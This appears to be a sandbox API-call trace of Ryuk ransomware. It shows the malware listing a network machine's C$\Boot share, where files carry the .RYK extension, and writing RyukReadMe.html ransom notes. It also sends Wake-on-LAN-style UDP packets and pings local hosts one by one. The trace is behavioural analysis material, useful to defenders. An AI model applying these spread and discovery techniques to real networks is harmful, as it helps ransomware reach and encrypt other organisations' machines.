	[0244.056] FindNextFileW (in: hFindFile=0x25d6f0, lpFindFileData=0xd33c0 | out: lpFindFileData=0xd33c0*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac30ebc0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac30ebc0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x224, cFileName="Boot", cAlternateFileName="")) returned 1
	[0244.504] SetLastError (dwErrCode=0x0) 
	[0244.504] CreateFileW (lpFileName="\\\\192.168.0.60\\C$\\RyukReadMe.html" (normalized: "\\\\192.168.0.60\\c$\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x724
	[0245.582] GetLastError () returned 0xb7
	[0245.583] CloseHandle (hObject=0x724) returned 1
	[0246.238] FindFirstFileW (in: lpFileName="\\\\192.168.0.60\\C$\\Boot\\*.*", lpFindFileData=0xd2c90 | out: lpFindFileData=0xd2c90*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0x74470960, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x74470960, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x42, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x25d750
	[0248.019] FindNextFileW (in: hFindFile=0x25d750, lpFindFileData=0xd2c90 | out: lpFindFileData=0xd2c90*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0x74470960, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x74470960, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x42, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0248.770] FindNextFileW (in: hFindFile=0x25d750, lpFindFileData=0xd2c90 | out: lpFindFileData=0xd2c90*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xac2e8a60, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0x2ebf9340, ftLastAccessTime.dwHighDateTime=0x1d4d597, ftLastWriteTime.dwLowDateTime=0x2ebf9340, ftLastWriteTime.dwHighDateTime=0x1d4d597, nFileSizeHigh=0x0, nFileSizeLow=0x6000, dwReserved0=0x42, dwReserved1=0x0, cFileName="BCD", cAlternateFileName="")) returned 1
	[0248.770] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x7f00000
	[0248.772] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f9c1ef0, lpParameter=0x13f9e5170, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x70c
	[0248.774] VirtualFree (lpAddress=0x7f00000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0248.775] FindNextFileW (in: hFindFile=0x25d750, lpFindFileData=0xd2c90 | out: lpFindFileData=0xd2c90*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xac2e8a60, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac2e8a60, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x469b3b00, ftLastWriteTime.dwHighDateTime=0x1d4d596, nFileSizeHigh=0x0, nFileSizeLow=0x5400, dwReserved0=0x42, dwReserved1=0x0, cFileName="BCD.LOG", cAlternateFileName="")) returned 1
	[0248.775] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x7f00000
	[0248.776] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f9c1ef0, lpParameter=0x13f9e8850, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x710
	[0248.777] VirtualFree (lpAddress=0x7f00000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0248.778] FindNextFileW (in: hFindFile=0x25d750, lpFindFileData=0xd2c90 | out: lpFindFileData=0xd2c90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac30ebc0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac30ebc0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac30ebc0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x42, dwReserved1=0x0, cFileName="BCD.LOG1.RYK", cAlternateFileName="BCDLOG~1.RYK")) returned 1
	[0248.778] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x7f00000
	[0248.779] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f9c1ef0, lpParameter=0x13f9ebf30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x718
	[0248.781] VirtualFree (lpAddress=0x7f00000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0248.782] FindNextFileW (in: hFindFile=0x25d750, lpFindFileData=0xd2c90 | out: lpFindFileData=0xd2c90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac30ebc0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac30ebc0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac30ebc0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x42, dwReserved1=0x0, cFileName="BCD.LOG2.RYK", cAlternateFileName="BCDLOG~2.RYK")) returned 1
	[0248.782] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x7f00000
	[0248.783] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f9c1ef0, lpParameter=0x13f9ef610, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x71c
	[0248.784] VirtualFree (lpAddress=0x7f00000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0248.785] FindNextFileW (in: hFindFile=0x25d750, lpFindFileData=0xd2c90 | out: lpFindFileData=0xd2c90*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0f9880, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x10000, dwReserved0=0x42, dwReserved1=0x0, cFileName="BOOTSTAT.DAT", cAlternateFileName="")) returned 1
	[0248.785] FindNextFileW (in: hFindFile=0x25d750, lpFindFileData=0xd2c90 | out: lpFindFileData=0xd2c90*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0x7438c120, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x7438c120, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x42, dwReserved1=0x0, cFileName="cs-CZ", cAlternateFileName="")) returned 1
	[0248.785] SetLastError (dwErrCode=0x0) 
	[0248.785] CreateFileW (lpFileName="\\\\192.168.0.60\\C$\\Boot\\RyukReadMe.html" (normalized: "\\\\192.168.0.60\\c$\\boot\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x6fc
	[0251.185] GetLastError () returned 0xb7
	[0251.185] CloseHandle (hObject=0x6fc) returned 1
	[0251.392] FindFirstFileW (in: lpFileName="\\\\192.168.0.60\\C$\\Boot\\cs-CZ\\*.*", lpFindFileData=0xd2560 | out: lpFindFileData=0xd2560*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0x7438c120, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x7438c120, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x4c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x25d7b0
	[0253.219] FindNextFileW (in: hFindFile=0x25d7b0, lpFindFileData=0xd2560 | out: lpFindFileData=0xd2560*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0x7438c120, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x7438c120, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x4c, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0253.779] FindNextFileW (in: hFindFile=0x25d7b0, lpFindFileData=0xd2560 | out: lpFindFileData=0xd2560*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac015040, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe88a2888, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15c50, dwReserved0=0x4c, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1
	[0253.779] FindNextFileW (in: hFindFile=0x25d7b0, lpFindFileData=0xd2560 | out: lpFindFileData=0xd2560*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7438c120, ftCreationTime.dwHighDateTime=0x1d5cdef, ftLastAccessTime.dwLowDateTime=0x7438c120, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x7438c120, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x273, dwReserved0=0x4c, dwReserved1=0x0, cFileName="RyukReadMe.html", cAlternateFileName="RYUKRE~1.HTM")) returned 1
	[0253.779] FindNextFileW (in: hFindFile=0x25d7b0, lpFindFileData=0xd2560 | out: lpFindFileData=0xd2560*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7438c120, ftCreationTime.dwHighDateTime=0x1d5cdef, ftLastAccessTime.dwLowDateTime=0x7438c120, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x7438c120, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x273, dwReserved0=0x4c, dwReserved1=0x0, cFileName="RyukReadMe.html", cAlternateFileName="RYUKRE~1.HTM")) returned 0
	[0254.081] FindClose (in: hFindFile=0x25d7b0 | out: hFindFile=0x25d7b0) returned 1
	[0254.571] SetLastError (dwErrCode=0x0) 
	[0254.571] CreateFileW (lpFileName="\\\\192.168.0.60\\C$\\Boot\\cs-CZ\\RyukReadMe.html" (normalized: "\\\\192.168.0.60\\c$\\boot\\cs-cz\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x6c8
	[0256.222] GetLastError () returned 0xb7
	[0256.222] CloseHandle (hObject=0x6c8) returned 1
	[0256.440] FindNextFileW (in: hFindFile=0x25d750, lpFindFileData=0xd2c90 | out: lpFindFileData=0xd2c90*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0x7438c120, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x7438c120, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x42, dwReserved1=0x0, cFileName="da-DK", cAlternateFileName="")) returned 1
	[0256.440] SetLastError (dwErrCode=0x0) 
	[0256.440] CreateFileW (lpFileName="\\\\192.168.0.60\\C$\\Boot\\RyukReadMe.html" (normalized: "\\\\192.168.0.60\\c$\\boot\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x6a8
	[0258.650] GetLastError () returned 0xb7
	[0258.650] CloseHandle (hObject=0x6a8) returned 1
	[0259.216] FindFirstFileW (in: lpFileName="\\\\192.168.0.60\\C$\\Boot\\da-DK\\*.*", lpFindFileData=0xd2560 | out: lpFindFileData=0xd2560*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0x7438c120, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x7438c120, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x4c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x25d7b0
	[0261.864] FindNextFileW (in: hFindFile=0x25d7b0, lpFindFileData=0xd2560 | out: lpFindFileData=0xd2560*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0x7438c120, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x7438c120, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x4c, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0262.165] FindNextFileW (in: hFindFile=0x25d7b0, lpFindFileData=0xd2560 | out: lpFindFileData=0xd2560*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe868d5aa, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15640, dwReserved0=0x4c, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1
	[0262.165] FindNextFileW (in: hFindFile=0x25d7b0, lpFindFileData=0xd2560 | out: lpFindFileData=0xd2560*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7438c120, ftCreationTime.dwHighDateTime=0x1d5cdef, ftLastAccessTime.dwLowDateTime=0x7438c120, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x743b2280, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x273, dwReserved0=0x4c, dwReserved1=0x0, cFileName="RyukReadMe.html", cAlternateFileName="RYUKRE~1.HTM")) returned 1
	[0262.165] FindNextFileW (in: hFindFile=0x25d7b0, lpFindFileData=0xd2560 | out: lpFindFileData=0xd2560*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7438c120, ftCreationTime.dwHighDateTime=0x1d5cdef, ftLastAccessTime.dwLowDateTime=0x7438c120, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x743b2280, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x273, dwReserved0=0x4c, dwReserved1=0x0, cFileName="RyukReadMe.html", cAlternateFileName="RYUKRE~1.HTM")) returned 0
	[0262.847] FindClose (in: hFindFile=0x25d7b0 | out: hFindFile=0x25d7b0) returned 1
	[0266.997] SetLastError (dwErrCode=0x0) 
	[0266.997] CreateFileW (lpFileName="\\\\192.168.0.60\\C$\\Boot\\da-DK\\RyukReadMe.html" (normalized: "\\\\192.168.0.60\\c$\\boot\\da-dk\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x678
	[0270.156] GetLastError () returned 0xb7
	[0270.156] CloseHandle (hObject=0x678) returned 1
	[0273.682] FindNextFileW (in: hFindFile=0x25d750, lpFindFileData=0xd2c90 | out: lpFindFileData=0xd2c90*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0x743b2280, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x743b2280, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x42, dwReserved1=0x0, cFileName="de-DE", cAlternateFileName="")) returned 1
	[0273.682] SetLastError (dwErrCode=0x0) 
	[0273.682] CreateFileW (lpFileName="\\\\192.168.0.60\\C$\\Boot\\RyukReadMe.html" (normalized: "\\\\192.168.0.60\\c$\\boot\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x660
	[0277.104] GetLastError () returned 0xb7
	[0277.104] CloseHandle (hObject=0x660) returned 1
	[0277.680] FindFirstFileW (in: lpFileName="\\\\192.168.0.60\\C$\\Boot\\de-DE\\*.*", lpFindFileData=0xd2560 | out: lpFindFileData=0xd2560*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0x743b2280, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x743b2280, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x4c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x25d7b0
	[0282.119] FindNextFileW (in: hFindFile=0x25d7b0, lpFindFileData=0xd2560 | out: lpFindFileData=0xd2560*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0x743b2280, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x743b2280, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x4c, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0283.586] FindNextFileW (in: hFindFile=0x25d7b0, lpFindFileData=0xd2560 | out: lpFindFileData=0xd2560*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8132526, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16640, dwReserved0=0x4c, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1
	[0283.586] FindNextFileW (in: hFindFile=0x25d7b0, lpFindFileData=0xd2560 | out: lpFindFileData=0xd2560*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x743b2280, ftCreationTime.dwHighDateTime=0x1d5cdef, ftLastAccessTime.dwLowDateTime=0x743b2280, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x743b2280, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x273, dwReserved0=0x4c, dwReserved1=0x0, cFileName="RyukReadMe.html", cAlternateFileName="RYUKRE~1.HTM")) returned 1
	[0283.586] FindNextFileW (in: hFindFile=0x25d7b0, lpFindFileData=0xd2560 | out: lpFindFileData=0xd2560*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x743b2280, ftCreationTime.dwHighDateTime=0x1d5cdef, ftLastAccessTime.dwLowDateTime=0x743b2280, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x743b2280, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x273, dwReserved0=0x4c, dwReserved1=0x0, cFileName="RyukReadMe.html", cAlternateFileName="RYUKRE~1.HTM")) returned 0
	[0284.420] FindClose (hFindFile=0x25d7b0) 

Thread:
	id = 325
	os_tid = 0xd30


Thread:
	id = 385
	os_tid = 0xe30

	[0168.302] GetIpNetTable (in: IpNetTable=0x0, SizePointer=0x22efe48, Order=1 | out: IpNetTable=0x0, SizePointer=0x22efe48) returned 0x7a
	[0168.304] VirtualAlloc (lpAddress=0x0, dwSize=0x18c, flAllocationType=0x1000, flProtect=0x4) returned 0x60000
	[0168.304] GetIpNetTable (in: IpNetTable=0x60000, SizePointer=0x22efe48, Order=1 | out: IpNetTable=0x60000, SizePointer=0x22efe48) returned 0x0
	[0168.307] VirtualAlloc (lpAddress=0x0, dwSize=0x90, flAllocationType=0x1000, flProtect=0x4) returned 0x70000
	[0168.308] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x22efc10 | out: lpWSAData=0x22efc10) returned 0
	[0168.328] socket (af=2, type=2, protocol=17) returned 0x108
	[0168.467] setsockopt (s=0x108, level=65535, optname=32, optval="\x01þ.\x02", optlen=1) returned 0
	[0168.468] htonl (hostlong=0x0) returned 0x0
	[0168.468] htons (hostshort=0x0) returned 0x0
	[0168.468] bind (s=0x108, addr=0x22efb80*(sa_family=2, sin_port=0x0, sin_addr="0.0.0.0"), namelen=16) returned 0
	[0168.471] inet_addr (cp="192.168.0.1") returned 0x100a8c0
	[0168.471] htons (hostshort=0x7) returned 0x700
	[0168.471] sendto (s=0x108, buf=0x22efba0*, len=102, flags=0, to=0x22efb90*(sa_family=2, sin_port=0x7, sin_addr="192.168.0.1"), tolen=16) returned 102
	[0168.475] Sleep (dwMilliseconds=0xfa) 
	[0168.877] closesocket (s=0x108) returned 0
	[0168.878] WSACleanup () returned 0
	[0169.121] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x22efc10 | out: lpWSAData=0x22efc10) returned 0
	[0169.135] socket (af=2, type=2, protocol=17) returned 0xfc
	[0169.140] setsockopt (s=0xfc, level=65535, optname=32, optval="\x01þ.\x02", optlen=1) returned 0
	[0169.141] htonl (hostlong=0x0) returned 0x0
	[0169.141] htons (hostshort=0x0) returned 0x0
	[0169.141] bind (s=0xfc, addr=0x22efb80*(sa_family=2, sin_port=0x0, sin_addr="0.0.0.0"), namelen=16) returned 0
	[0169.141] inet_addr (cp="224.0.0.22") returned 0x160000e0
	[0169.141] htons (hostshort=0x7) returned 0x700
	[0169.141] sendto (s=0xfc, buf=0x22efba0*, len=102, flags=0, to=0x22efb90*(sa_family=2, sin_port=0x7, sin_addr="224.0.0.22"), tolen=16) returned 102
	[0169.142] Sleep (dwMilliseconds=0xfa) 
	[0169.479] closesocket (s=0xfc) returned 0
	[0169.480] WSACleanup () returned 0
	[0169.995] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x22efc10 | out: lpWSAData=0x22efc10) returned 0
	[0170.010] socket (af=2, type=2, protocol=17) returned 0xf8
	[0170.015] setsockopt (s=0xf8, level=65535, optname=32, optval="\x01þ.\x02", optlen=1) returned 0
	[0170.016] htonl (hostlong=0x0) returned 0x0
	[0170.016] htons (hostshort=0x0) returned 0x0
	[0170.016] bind (s=0xf8, addr=0x22efb80*(sa_family=2, sin_port=0x0, sin_addr="0.0.0.0"), namelen=16) returned 0
	[0170.016] inet_addr (cp="224.0.0.252") returned 0xfc0000e0
	[0170.017] htons (hostshort=0x7) returned 0x700
	[0170.017] sendto (s=0xf8, buf=0x22efba0*, len=102, flags=0, to=0x22efb90*(sa_family=2, sin_port=0x7, sin_addr="224.0.0.252"), tolen=16) returned 102
	[0170.018] Sleep (dwMilliseconds=0xfa) 
	[0170.743] closesocket (s=0xf8) returned 0
	[0170.743] WSACleanup () returned 0
	[0170.962] VirtualFree (lpAddress=0x60000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0170.963] VirtualFree (lpAddress=0x70000, dwSize=0x0, dwFreeType=0x8000) returned 1

Thread:
	id = 665
	os_tid = 0x127c


Thread:
	id = 666
	os_tid = 0x1284


Thread:
	id = 746
	os_tid = 0x13d8

	[0226.126] GetLastError () returned 0x57
	[0226.126] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x8, Size=0x3c8) returned 0x265fa0
	[0226.127] SetLastError (dwErrCode=0x57) 
	[0226.127] IcmpCreateFile () returned 0x24c9b0
	[0228.048] IcmpSendEcho (IcmpHandle=0x24c9b0, DestinationAddress=0x100a8c0, RequestData=0x846f900, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0x846f920, ReplySize=0x4c, Timeout=0x157c) 

Thread:
	id = 747
	os_tid = 0x13dc

	[0226.134] GetLastError () returned 0x57
	[0226.134] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x8, Size=0x3c8) returned 0x26cb50
	[0226.134] SetLastError (dwErrCode=0x57) 
	[0226.134] IcmpCreateFile () returned 0x24cb40
	[0228.050] IcmpSendEcho (IcmpHandle=0x24cb40, DestinationAddress=0x200a8c0, RequestData=0x832f8e0, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0x832f900, ReplySize=0x4c, Timeout=0x157c) 

Thread:
	id = 748
	os_tid = 0x13e0

	[0226.135] GetLastError () returned 0x57
	[0226.135] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x8, Size=0x3c8) returned 0x26d340
	[0226.135] SetLastError (dwErrCode=0x57) 
	[0226.135] IcmpCreateFile () returned 0x24cb90
	[0228.051] IcmpSendEcho (IcmpHandle=0x24cb90, DestinationAddress=0x300a8c0, RequestData=0x85afaa0, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0x85afac0, ReplySize=0x4c, Timeout=0x157c) 

Thread:
	id = 749
	os_tid = 0x13e4

	[0226.136] GetLastError () returned 0x57
	[0226.136] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x8, Size=0x3c8) returned 0x26db30
	[0226.136] SetLastError (dwErrCode=0x57) 
	[0226.136] IcmpCreateFile () returned 0x24cbe0
	[0228.052] IcmpSendEcho (IcmpHandle=0x24cbe0, DestinationAddress=0x400a8c0, RequestData=0x880f7c0, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0x880f7e0, ReplySize=0x4c, Timeout=0x157c) 

Thread:
	id = 750
	os_tid = 0x13e8

	[0226.137] GetLastError () returned 0x57
	[0226.137] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x8, Size=0x3c8) returned 0x26e320
	[0226.137] SetLastError (dwErrCode=0x57) 
	[0226.137] IcmpCreateFile () returned 0x24cc30
	[0228.054] IcmpSendEcho (IcmpHandle=0x24cc30, DestinationAddress=0x500a8c0, RequestData=0x86ef720, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0x86ef740, ReplySize=0x4c, Timeout=0x157c) 

Thread:
	id = 751
	os_tid = 0x13ec

	[0226.137] GetLastError () returned 0x57
	[0226.138] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x8, Size=0x3c8) returned 0x26eb10
	[0226.138] SetLastError (dwErrCode=0x57) 
	[0226.138] IcmpCreateFile () returned 0x24cc80
	[0228.055] IcmpSendEcho (IcmpHandle=0x24cc80, DestinationAddress=0x600a8c0, RequestData=0x8a2fba0, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0x8a2fbc0, ReplySize=0x4c, Timeout=0x157c) 

Thread:
	id = 752
	os_tid = 0x13f0

	[0226.138] GetLastError () returned 0x57
	[0226.138] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x8, Size=0x3c8) returned 0x26f300
	[0226.139] SetLastError (dwErrCode=0x57) 
	[0226.139] IcmpCreateFile () returned 0x24ccd0
	[0228.056] IcmpSendEcho (IcmpHandle=0x24ccd0, DestinationAddress=0x700a8c0, RequestData=0x8b9fd20, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0x8b9fd40, ReplySize=0x4c, Timeout=0x157c) 

Thread:
	id = 753
	os_tid = 0x13f4

	[0226.409] GetLastError () returned 0x57
